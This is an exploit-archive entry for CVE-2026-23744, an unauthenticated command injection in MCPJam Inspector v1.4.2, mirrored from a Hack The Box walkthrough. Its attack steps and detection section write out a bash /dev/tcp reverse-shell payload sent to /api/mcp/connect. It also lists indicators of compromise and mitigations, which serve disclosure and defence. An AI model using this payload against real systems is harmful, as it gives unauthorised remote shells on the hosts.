MCPJam Inspector Unauthenticated Command Injection RCE (CVE-2026-23744)
by timgad794 (HTB "DevHub" walkthrough author) · 2026-07-05
- Severity
- Critical
- CVE
- CVE-2026-23744
- Category
- web
- Affected product
- MCPJam Inspector v1.4.2
- Affected versions
- v1.4.2 (as encountered in the HTB "DevHub" machine)
- Disclosed
- 2026-07-05
- Patch status
- unpatched
Tags
Archive entry
intelseclab/poc-archiveMetadata
| Field | Value |
|---|---|
| Date Added | 2026-07-05 |
| Last Updated | 2026-06 |
| Author / Researcher | timgad794 (HTB “DevHub” walkthrough author) |
| CVE / Advisory | CVE-2026-23744 |
| Category | web |
| Severity | Critical |
| CVSS Score | Not specified in source |
| Status | PoC |
| Tags | mcpjam-inspector, mcp, command-injection, rce, curl, hack-the-box, reverse-shell, chained-privesc |
| Related | N/A |
Affected Target
| Field | Value |
|---|---|
| Software / System | MCPJam Inspector v1.4.2 |
| Versions Affected | v1.4.2 (as encountered in the HTB “DevHub” machine) |
| Language / Platform | HTTP API exploited via curl; target service is Node/JS-based MCP tooling |
| Authentication Required | No |
| Network Access Required | Yes |
Summary
This repository is a German-language Hack The Box “DevHub” walkthrough that documents a full attack chain, one step of which is a genuine, directly reusable RCE against MCPJam Inspector v1.4.2 (CVE-2026-23744). The vulnerable /api/mcp/connect endpoint accepts a serverConfig object with command/args fields that are executed on the host without validation, letting an unauthenticated attacker POST a JSON body that spawns bash -c '<reverse shell>' and obtain a shell as the mcp-dev service user. The rest of the walkthrough (Chisel tunneling, Jupyter token theft, an internal ops API, and root SSH key exfiltration) is included for context but is specific to the HTB lab environment rather than the CVE itself.
Vulnerability Details
Root Cause
The MCPJam Inspector /api/mcp/connect endpoint executes the attacker-supplied command and args fields from the JSON serverConfig payload without restricting them to legitimate/allow-listed executables, enabling arbitrary command execution.
Attack Vector
- Identify MCPJam Inspector v1.4.2 exposed on its service port (e.g. 6274).
- Start a netcat listener on the attacker host.
- POST a JSON body to
/api/mcp/connectwithserverConfig.commandset tobashandargsset to["-c", "bash -i >& /dev/tcp/<attacker_ip>/<port> 0>&1"]. - The service executes the command, returning a reverse shell as the low-privilege
mcp-devuser. - (Environment-specific) Further lateral movement/privesc steps in the walkthrough are unrelated to the core CVE.
Impact
Unauthenticated remote code execution on the host running MCPJam Inspector, providing an initial foothold for further compromise.
Environment / Lab Setup
Target: MCPJam Inspector v1.4.2 (HTB "DevHub" machine, port 6274)
Attacker: curl, netcat listener
Proof of Concept
PoC Script
See
poc.shin this folder. No standalone script file was included in the source repository — the working payload was embedded inline in its README as a curl command;poc.shreproduces it verbatim as a runnable script.
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Running this script against a vulnerable MCPJam Inspector instance POSTs a malicious serverConfig to /api/mcp/connect, triggering a reverse shell connection back to the attacker’s netcat listener as the mcp-dev user.
Detection & Indicators of Compromise
POST /api/mcp/connect HTTP/1.1
{"serverConfig":{"command":"bash","args":["-c","bash -i >& /dev/tcp/..."]}}
Signs of compromise:
- POST requests to
/api/mcp/connectcontaining shell interpreter names (bash,sh) in thecommandfield. - Reverse-shell network connections (
/dev/tcp/...) originating from the MCPJam Inspector process. - Unexpected child processes spawned by the
mcp-devservice account.
Remediation
| Action | Detail |
|---|---|
| Primary fix | No vendor patch confirmed as of 2026-07-05 — monitor for advisory |
| Interim mitigation | Do not expose MCPJam Inspector directly to untrusted networks; front it with authentication and allow-list permitted command values on /api/mcp/connect |
References
Notes
Mirrored from https://github.com/timgad794/DevHub-HTB-Walkthrough on 2026-07-05.
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